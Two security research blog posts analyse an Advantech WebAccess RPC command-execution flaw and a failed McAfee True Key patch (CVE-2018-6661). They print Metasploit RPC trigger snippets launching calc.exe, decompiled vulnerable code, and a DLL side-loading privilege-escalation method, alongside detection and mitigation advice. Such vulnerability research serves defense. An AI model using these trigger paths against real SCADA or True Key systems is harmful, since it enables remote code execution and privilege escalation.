To ../ or not to ../, that is the question

Contributors: Grant Willcox and Gaurav Baruah

Intro

During our day-to-day research of N-day vulnerabilities at Exodus, we often come across public advisories containing incorrect root cause analysis of the core vulnerability. This blogpost details one such vulnerability in Advantech WebAccess which is a software suite used for managing SCADA environments. Although the vulnerability in question had been analysed numerous times by multiple researchers, we discovered that every advisory and public exploit incorrectly denoted “directory traversal” as a factor. Therefore, if anyone tried to implement detection guidance for the vulnerability based solely on the public advisory, that detection would be deemed ineffective as it would likely involve scanning for path traversal characters which aren’t even required to exploit the vulnerability.

Additionally, this vulnerability (and several others within Advantech WebAccess) can be reached via multiple paths, a fact which we believe hasn’t been widely addressed by other blogposts/exploits.

Improper Root Cause Analysis

The vulnerability in 0x2711 IOCTL which is reachable over an RPC service had been disclosed twice by the ZDI as ZDI-18-024 and ZDI-18-483 and each time the vulnerability was described as a “directory traversal” vulnerability. It was also claimed to be patched by the vendor in both advisories until Tenable published a blogpost about it being still unpatched.

While the blogpost correctly mentioned that the lpApplicationName was set to NULL and that an attacker controlled string could be eventually passed to the CreateProcessA API as the lpCommandLine parameter, it was surprising to note the use of path traversal characters in the PoC code, given the fact that directory traversal isn’t even required to execute binaries located outside the application’s directory.

Referring to Microsoft’s documentation of the CreateProcessA API, one can observe the following:

“If lpApplicationName is NULL, the first white space–delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period (.) with no extension, or if the file name contains a path, .exe is not appended. If the file name does not contain a directory path, the system searches for the executable file in the following sequence:

  1. The directory from which the application loaded.
  2. The current directory for the parent process.
  3. The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
  4. The 16-bit Windows system directory. There is no function that obtains the path of this directory, but it is searched. The name of this directory is System.
  5. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  6. The directories that are listed in the PATH environment variable. Note that this function does not search the per-application path specified by the App Paths registry key. To include this per-application path in the search sequence, use the ShellExecute function.”

From this description it is apparent that no directory traversal is needed to execute a command like ‘calc.exe’. Lets try to visualize the search process using some Metasploit code which triggers calc.exe using RPC opcode 0x1.

1
2
3
4
5
6
rpcBuffer = NDR.long(connId) + # connection ID
NDR.long(0x2711) + # vuln IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA()

dcerpc_call(0x1, rpcBuffer)

In the code above one creates an RPC buffer with the connection ID obtained via RPC opcode 0x4, the vulnerable IOCTL code, and the command to execute as a NULL terminated string, which will be passed to CreateProcessA. Once this buffer is created, it will be sent to the vulnerable Advantech WebAccess RPC server using RPC opcode 0x1, at which point a search operation will be conducted to find the location where calc.exe is located. This can be seen in the screenshot below.

Windows searching for the location of the calc.exe binary

Therefore, as a result of CreateProcessA’s behavior, an attacker could either choose to supply the full path to an executable file or provide just the executable filename and Windows would automatically locate and execute that binary based on the criteria given above. As a result, defenders cannot simply rely on detecting the presence of directory traversal characters to determine if the same IOCTL request is being abused for malicious purposes.

This proves that the aforementioned vulnerability can be categorized as an arbitrary command execution vulnerability and no directory traversal is required for its exploitation.

The Vulnerable Code Exists In Two Locations (Not One)

The vulnerable implementation of 0x2711 IOCTL is contained in two binaries, namely drawsrv.dll and viewsrv.dll. Tenable’s analysis only uncovered the implementation in drawsrv.dll and did not cover the vulnerable code located in viewsrv.dll. The alternative code path can be seen in the image below.

The code flow to this branch is the result of a subtle comparison made at 0x404838 within sub_4046D0 as shown below. Within this code, a comparison is made to see whether the connection type associated with a client’s RPC session is of type 0, in which case VsDaqWebService is called, or 2, in which case DsDaqWebService is called.

.text:00404838                 mov     eax, [esi+14h]
.text:0040483B                 test    eax, eax        ; check connType value
.text:0040483D                 jnz     short check_for_DsDaqWebService
.text:0040483F                 cmp     ebx, 2710h
.text:00404845                 jl      ioctl_not_in_0x2710_0x4e20_range
.text:0040484B                 cmp     ebx, 4E20h
.text:00404851                 jge     ioctl_not_in_0x2710_0x4e20_range
.text:00404857                 push    esi             ; proceed to call VsDaqWebService
.text:00404857                                         ; located further down
.text:00404858                 mov     ecx, edi
.text:0040485A                 call    sub_4045B0
.text:0040485F                 test    eax, eax
.text:00404861                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:00404863                 mov     eax, [esi+4]
.text:00404866                 test    eax, eax
.text:00404868                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:0040486A                 mov     eax, [esi+8]
.text:0040486D                 test    eax, eax
.text:0040486F                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:00404871                 push    offset sub_403190
.text:00404876                 mov     ecx, [ebp+arg_14]
.text:00404879                 push    ecx
.text:0040487A                 mov     edx, [ebp+Dest]
.text:0040487D                 push    edx
.text:0040487E                 mov     ecx, [ebp+arg_C]
.text:00404881                 push    ecx
.text:00404882                 mov     esi, [ebp+Str1]
.text:00404885                 push    esi
.text:00404886                 push    ebx
.text:00404887                 mov     edx, [ebp+arg_4]
.text:0040488A                 push    edx
.text:0040488B                 call    eax             ; VsDaqWebService
.text:0040488D                 mov     ecx, [ebp+arg_1C]
.text:00404890                 mov     [ecx], eax
.text:00404892                 jmp     short loc_4048DE
.text:00404894 ; ---------------------------------------------------------------------------
.text:00404894
.text:00404894 check_for_DsDaqWebService:              ; CODE XREF: sub_4046D0+16D↑j
.text:00404894                 cmp     eax, 2
.text:00404897                 jnz     short ioctl_not_in_0x2710_0x4e20_range
.text:00404899                 cmp     ebx, 2710h
.text:0040489F                 jl      short ioctl_not_in_0x2710_0x4e20_range
.text:004048A1                 cmp     ebx, 4E20h
.text:004048A7                 jge     short ioctl_not_in_0x2710_0x4e20_range
.text:004048A9                 push    esi             ; proceed to call DsDaqWebService
.text:004048A9                                         ; located further down
.text:004048AA                 mov     ecx, edi
.text:004048AC                 call    sub_4045B0
.text:004048B1                 test    eax, eax
.text:004048B3                 jz      short ioctl_not_in_0x2710_0x4e20_range
.text:004048B5                 push    offset sub_403190
.text:004048BA                 mov     edx, [ebp+arg_14]
.text:004048BD                 push    edx
.text:004048BE                 mov     eax, [ebp+Dest]
.text:004048C1                 push    eax
.text:004048C2                 mov     ecx, [ebp+arg_C]
.text:004048C5                 push    ecx
.text:004048C6                 mov     esi, [ebp+Str1]
.text:004048C9                 push    esi
.text:004048CA                 push    ebx
.text:004048CB                 mov     edx, [ebp+arg_4]
.text:004048CE                 push    edx
.text:004048CF                 call    DsDaqWebService

It can also be seen that the code handling the vulnerable 0x2711 IOCTL in both binaries look nearly identical.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __stdcall VsDaqWebService(int a1, int IOCTL, char *controlledBuffer, int a4, LPWIN32_FIND_DATAA lpFindFileData, size_t SizeInBytes, int a7)
{
 ....
  switch ( IOCTL )
  {
    case 0x2710:
      v8 = (HWND)sub_10003DD0(controlledBuffer);
      goto LABEL_236;
    case 0x2711:
      sub_10006B80();
      v7 = sub_10003E40(controlledBuffer, *((_DWORD *)controlledBuffer + 128));
      ....

-------------------------------------------------------

DWORD __cdecl sub_10003E40(LPSTR lpCommandLine, __int16 a2)
{
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+4h] [ebp-54h]
  struct _STARTUPINFOA StartupInfo; // [esp+14h] [ebp-44h]

  memset(&StartupInfo.lpReserved, 0, 0x40u);
  StartupInfo.cb = 68;
  GetStartupInfoA(&StartupInfo);
  StartupInfo.wShowWindow = a2;
  if ( !CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
    return 0;
  WaitForInputIdle(ProcessInformation.hProcess, 0xFFFFFFFF);
  CloseHandle(ProcessInformation.hProcess);
  CloseHandle(ProcessInformation.hThread);
  return ProcessInformation.dwProcessId;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __stdcall DsDaqWebService(int a1, int IOCTL, char *controlledBuffer, unsigned int a4, LPWIN32_FIND_DATAA lpFindFileData, size_t SizeInBytes, int a7)
{
  ....
    switch ( IOCTL )
    {
      case 0x2710:
        v8 = sub_10001740(controlledBuffer);
        goto LABEL_258;
      case 0x2711:
        v133 = controlledBuffer;
        sub_10004180();
        v7 = sub_100017B0(controlledBuffer, *((_DWORD *)controlledBuffer + 128));
        ....

-------------------------------------------------------

DWORD __cdecl sub_100017B0(LPSTR lpCommandLine, __int16 a2)
{
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+4h] [ebp-54h]
  struct _STARTUPINFOA StartupInfo; // [esp+14h] [ebp-44h]

  memset(&StartupInfo.lpReserved, 0, 0x40u);
  StartupInfo.cb = 68;
  GetStartupInfoA(&StartupInfo);
  StartupInfo.wShowWindow = a2;
  if ( !CreateProcessA(0, lpCommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
    return 0;
  WaitForInputIdle(ProcessInformation.hProcess, 0xFFFFFFFF);
  CloseHandle(ProcessInformation.hProcess);
  CloseHandle(ProcessInformation.hThread);
  return ProcessInformation.dwProcessId;
}

Interestingly, the value on which the comparison is being performed comes from a different request and not the 0x2711 IOCTL request itself. This other request based on RPC opcode 0x4 has been described in detail by previous research such as ZDI’s. Instead of repeating the same analysis, it would suffice to say that the value being compared results from the connType value supplied as part of the request, as can be seen in the listing of opcode 0x4 as shown below.

1
2
3
4
5
6
7
/* opcode: 0x04, rpcsrv_conn_append */

void sub_4017A0 (
     [in] handle_t hBinding,
     [in] long connType,
     [out][ref][size_is(4)] char * arg_3,
     [out][ref] long * connId );

As a result, an attacker can target the vulnerable code in both binaries just by changing the connType value as can be seen in the Metasploit code shown below.

# Trigger CreateProcessA() in viewsrv.dll

handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
dcerpc_bind(handle)

connType = NDR.long(0x0)
return_buf = dcerpc_call(0x4, connType)

unk1, unk2, connId = return_buf.unpack("L*")

rpcBuffer = NDR.long(connId) + # connID
NDR.long(0x2711) + # vuln IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA()

dcerpc_call(0x1, rpcBuffer)
# Trigger CreateProcessA() in drawsrv.dll

handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
dcerpc_bind(handle)

connType = NDR.long(0x2)
return_buf = dcerpc_call(0x4, connType)

unk1, unk2, connId = return_buf.unpack("L*")

rpcBuffer = NDR.long(connId) + # connID
NDR.long(0x2711) + # vuln IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\x00") # string passed to CreateProcessA()

dcerpc_call(0x1, rpcBuffer)

Finding Other Paths To Trigger The Vulnerability

While reviewing other publically documented RPC vulnerabilities in Advantech WebAccess, we discovered that the usual trend was to trigger the vulnerability using one specific RPC opcode, while in reality it could triggered using multiple opcodes. This doesn’t bode well for defenders as an attacker could trigger the same vulnerability using a different opcode and thereby bypass the signature meant to trigger on a specific opcode request.

The arbitrary command execution vulnerability in 0x2711 IOCTL is also reachable over opcode 0x0, in addition to opcode 0x1 as shown in earlier code. The modified code to trigger it using opcode 0x0 is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Triggering CreateProcessA() in viewsrv.dll using opcode 0x0

handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
dcerpc_bind(handle)

connType = NDR.long(0x0)
return_buf = dcerpc_call(0x4, connType)

unk1, unk2, connId = return_buf.unpack("L*")

rpcBuffer = NDR.long(connId) + # connID
NDR.long(0x2711) + # IOCTL
NDR.long(0) +
NDR.UniConformantArray("calc.exe\00") + # string passed to CreateProcessA()
NDR.long(0)

dcerpc_call(0x0, rpcBuffer)

Mitigation

Users of Advantech WebAccess are advised to set a Remote Access Code during the installation to protect the RPC service from unauthorized requests. The screen for setting up the code is outlined below.

Additionally, users can setup a remote access code per project as shown below.

Conclusion

It should be apparent by now that keeping up-to-date on patches from a vendor or relying on public advisories isn’t good enough. One needs to dig deep into a patch and analyse it to know if it actually fixed the vulnerability it was supposed to patch. Furthermore, all paths leading up to the vulnerable code need to be analysed in order for companies to provide complete detection for a vulnerability.

The information mentioned in this blogpost has been available to our N-day feed subscribers since January 2018 when the first public advisory about the vulnerability was released. It has enabled them to ensure their defensive measures have been implemented properly even in the absence of a proper patch from the vendor and the lack of correct information in public advisories.

True Key: the not so uncommon story of a failed patch

In this blog post, we examine the vendor-supplied patch addressing CVE-2018-6661.  The vulnerability was initially reported to Intel Security (McAfee) in June 2017 and disclosed publicly in April 2018.  Additionally, we contacted McAfee regarding the issues discussed in this post in August 2018.

Contributors: Omar El-Domeiri and Gaurav Baruah

At Exodus, we often encounter failed patches or discover adjacent zero-day vulnerabilities while conducting n-day vulnerability research.  In 2018, our team has identified 24 publicly disclosed vulnerabilities that were reportedly patched but, in fact, were still vulnerable because the patch did not address the root cause.  Failed patches can leave users at risk even if they vigilantly keep up with software updates and security advisories.

There are many reasons why a vendor-supplied patch may fail to improve the security of the software.  In some instances, a patch may actually increase the attack surface and consequently introduce new vulnerabilities.  While in other instances, a patch may be incomplete, leaving avenues by which the patch can be bypassed and the vulnerable code triggered.  Often incomplete patches are the result of a vendor specifically patching for the PoC they receive from disclosure without addressing the root cause.  In the case of CVE-2018-6661, we discovered an incomplete patch that left multiple ways for attackers to bypass the patch.

Summary

A publicly disclosed vulnerability for the Intel Security (McAfee) True Key software remains exploitable despite multiple vendor-supplied patches. Any logged in user, including the Guest account, can send a series of crafted requests to the True Key service to execute arbitrary code via a DLL-side loading attack vector.  As a result, unprivileged users can escalate privileges to NT AUTHORITY\SYSTEM on any Windows machine with True Key installed.

Background

True Key is a password manager supporting several methods of sign-in including face and fingerprint, email, master password or by using a trusted device.  It is freely available for Windows, Mac OS X, Android and iOS devices but requires a subscription to store more than 15 passwords.  Until recently, True Key was bundled with Adobe Flash and required users to opt-out during installation.

When True Key is installed on Windows it includes an always running service that listens on TCP port 30,000 on the loopback interface 127.0.0.1 which runs with SYSTEM privileges.  The service coordinates functionality across various components of the True Key software by providing RPC mechanisms.  In the case of this vulnerability, we are interested specifically in the SecureExecute RPC method which launches executables trusted by McAfee where trust is verified by digital signature.

Patch

By examining the vendor’s patch, we can see that the patch only addresses the problem within the McAfee.TrueKey.Sync.exe and only for one of its DLL dependencies, namely the McAfee.TrueKey.SDKLibAdapter import.When the program is run, the dot net runtime will dynamically load DLL dependencies required by the program.  We can identify the direct dependencies by the imports at the top.  Since Windows searches for DLLs in a specified order outlined in Microsoft’s documentation it is possible to provide a modified DLL within the same folder so that it will be imported.  It should be noted that System imports are contained in the known DLLs list and can not be used in this way by an attacker.

The patch enforces that the SDKLibAdapter library must be found in the C:\Program Files\TrueKey folder (C:\Program Files\McAfee\TrueKey in more recent versions) which can not be written to by an unprivileged user.  However, the binary also imports the NLog logging library and does not enforce a path constraint for the corresponding DLL.  The patch is incomplete because it overlooks this and hence the nlog.dll can be utilized to allow arbitrary code execution just as the McAfee.TrueKey.SDKLibAdapter.dll could be used in versions prior to the patch.  Furthermore, any other McAfee signed binary can be used to exploit the vulnerability as long as the binary depends on a DLL outside the list of known DLLs.  There are multiple ways to go about finding DLL dependencies.

Reversing True Key

Upon inspection of the decompiled TrueKey service binary, it is clear that it is an Apache Thrift based service.

Thrift is a software library and set of code-generation tools developed at Facebook to expedite development and implementation of efficient and scalable backend services. Its primary goal is to enable efficient and reliable communication across programming languages by abstracting the portions of each language that tend to require the most customization into a common library that is implemented in each language. Specifically, Thrift allows developers to define datatypes and service interfaces in a single language-neutral file and generate all the necessary code to build RPC clients and servers.

Examining the code auto-generated by thrift for the SecureExecute command, we can gather the data types expected for such a request to the service.From this code, we can create our own thrift file for the subset of the RPC service that is necessary for exploitation.

The SecureExecute method takes two parameters — a 32-bit integer clientId and a string specifying the path to an executable file to run.  Before executing a RPC request, the service verifies that the clientId matches a known value that it has issued previously.

The handler for the SecureExecute API request will create a SecureExecuteCommand object, wrap it in a CheckedCommand object and pass it to the runner.Sync() method which will call the CheckedCommand object’s Execute() method.  CheckedCommand verifies that the clientId supplied in the request matches an existing ClientId that the service has already issued.  If so, then it calls the Execute() method of the wrapped object which in this instance is a SecureExecuteCommand object.

SecureExecuteCommand.Execute() will inspect the requested executable to ensure that the file has been digitally signed by McAfee before spawning a child process running the executable.

So in order to get the service to actually execute a binary, we must provide it with a valid clientId and the binary must be signed by McAfee.  ClientIds are issued via the RegisterClient method whose sole parameter consists of a YAPClient struct that can contain any number of optional fields.  On registration, the service verifies that the client is a trusted client by checking the port field from the YAPClient struct.  The port field is used to find the corresponding PID listening on that port and then the service checks that the executable associated with that PID has been digitally signed by McAfee.

Exploitation

In order to exploit the vulnerability, we will need to send a SecureExecute request to the True Key service requesting that it execute the McAfee.TrueKey.Sync.exe in a folder that contains a modified nlog.dll.  There are multiple utilities available, such as dnSpy, for modifying a compiled dot net executable or DLL directly.  Since the McAfee.TrueKey.Sync.exe calls the GetCurrentClassLogger() method, we modified this method to launch a child process that executes a file containing our payload within the same folder.

The exploit will function as intended even though our modifications do not adhere to the method’s type signature.  The return value of Process.Start() is not a Logger object and any further use of the value returned from this method will likely throw an error, but once this code has executed we can utilize the child process running our payload to gain escalated privileges.

Initially, we send a RegisterClient request to the True Key service to get a valid clientId. Since we know that the service itself listens on port 30,000, our RegisterClient request will specify that value for the port field in the YAPClient struct. In effect, the service will verify that it trusts itself as a valid client and respond with a new clientId.

With a valid clientId in hand, we send a SecureExecute request with that clientId and an executablePath pointing to our copy of the McAfee.TrueKey.Sync.exe within a folder containing our modified nlog.dll.  The dot net runtime will load our modified nlog.dll and when the GetCurrentClassLogger() method is called our pop.exe payload will be executed.

We’ve written the exploit as a metasploit module and here is a demonstration:

 

Detection

Active exploitation can be detected by inspecting loopback traffic to port 30,000 for SecureExecute requests where the executablePath parameter does not start with the C:\Program Files\McAfee\TrueKey prefix.

Mitigation

Microsoft has an informative article on the topic of Dynamic-Link Library Security with recommendations for how developers can safeguard their applications against this kind of attack.  At the application level, the SecureExecute method should reject any requests where the executablePath does not begin with a prefix to a known write-protected folder such as C:\Program Files\McAfee\TrueKey.  Additionally, the RegisterClient method should treat the port specified in the request as untrusted user input and verify the client in a more secure manner.  If your organization does not rely on True Key then uninstalling this software will remove the vulnerable service.

About Exodus Intelligence N-Day Subscription Offering

In addition to internally discovered zero-day vulnerabilities, Exodus Intelligence also offers a feed comprised of threats that have been publicly disclosed by outside organizations or the vendors themselves.  Subscribers of our n-day offering gain access to a collection of vetted, reliable exploits and corresponding documentation enabling them to ensure their defensive measures have been implemented properly.  This is critically important in cases where the vendor-supplied patch fails to address the root cause, since the existence of a patch may falsely assure users they are no longer at risk.

Disclosure

We disclosed the failed patch to McAfee and they published an update in response.  However, we tested the latest version available (5.1.173.1 as of September 7th, 2018) and found that it remains vulnerable requiring no changes to our exploit.